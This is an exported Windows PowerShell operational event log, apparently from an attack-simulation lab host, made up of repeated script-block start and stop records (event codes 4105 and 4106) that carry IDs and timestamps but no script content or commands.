User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028079
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028073
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028051
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028049
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028048
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028041
Keywords=None
